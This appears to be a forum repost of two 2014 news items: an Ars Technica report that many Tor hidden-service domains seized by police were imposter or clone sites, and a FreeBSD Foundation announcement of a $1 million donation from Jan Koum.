Many Tor-anonymized domains seized by police belonged to imposter sites Results of darkweb crawl may come as good news to Tor supporters. by Dan Goodin - Nov 18 2014, 2:40am GTBST A large number of the Tor-anonymized domains recently seized in a crackdown on illegal darknet services were clones or imposter sites, according to an analysis published Monday. That conclusion is based on an indexing of .onion sites available through the Tor privacy service that cloaks the location where online services are hosted. Australia-based blogger Nik Cubrilovic said a Web crawl he performed on the darknet revealed just 276 seized addresses, many fewer than the 414 domains police claimed they confiscated last week. Of the 276 domains Cubrilovic identified, 153 pointed to clones, phishing, or scam sites impersonating one of the hidden services targeted by law enforcement, he said. If corroborated by others, the findings may be viewed as good news for privacy advocates who look to Tor to help preserve their anonymity. Last week's reports that law enforcement agencies tracked down more than 400 hidden services touched off speculation that police identified and were exploiting a vulnerability in Tor itself that allowed them to surreptitiously decloak hidden services. The revelation that many of the seized sites were imposters may help to tamp down such suspicions. Cubrilovic wrote: That the FBI seized so many clone and fake websites suggests a broad, untargeted sweep of hidden services rather than a targeted campaign. The slapshot nature of how sites were seized suggests that rather than starting with an onion address and then discovering the host server to seize, this campaign simply vacuumed up a large number of onion websites by targeting specific hosting companies. We have tracked down the hosting companies affected and the details will be published in a follow-up. Officials with the Tor Project continue to say they have no evidence the mass seizures are the result of a technical exploit. In a blog post published Friday, they wrote: "So far, all indications are that those arrests are best explained by bad opsec for a few of them, and then those few pointed to the others when they were questioned." Sursa: Many Tor-anonymized domains seized by police belonged to imposter sites | Ars Technica
-
FreeBSD Foundation Announces Generous Donation and Fundraising Milestone The FreeBSD Foundation is pleased to announce it has received a $1,000,000 donation from Jan Koum, CEO and Co-Founder of WhatsApp. This marks the largest single donation to the Foundation since its inception almost 15 years ago, and serves as another example of someone using FreeBSD to great success and then giving back to the community. Find out more about Jan's reasons for donating here. We're now in the process of working together as a team to decide how best to use this gift to serve the FreeBSD community. That plan will combine financial investment, to ensure the effects of this donation are felt for many years to come, and an acceleration of the Foundation's growth into new capabilities and services. FreeBSD has a tremendous impact on our world. Our mission is to increase that impact through educational outreach, advocacy, community support, and technical investments. More information on how we serve each of these areas can be found on our website. With this donation, and the generosity of all those who have donated this year, we have shattered our 2014, million dollar fundraising goal! But this does not mean we can stop our fundraising efforts. Only by increasing the size and diversity of our donor pool can we ensure a stable and consistent funding stream to support the FreeBSD project. Please help us continue to grow FreeBSD's reach and impact on our world. Donate today! Sursa: FreeBSD Foundation: FreeBSD Foundation Announces Generous Donation and Fundraising Milestone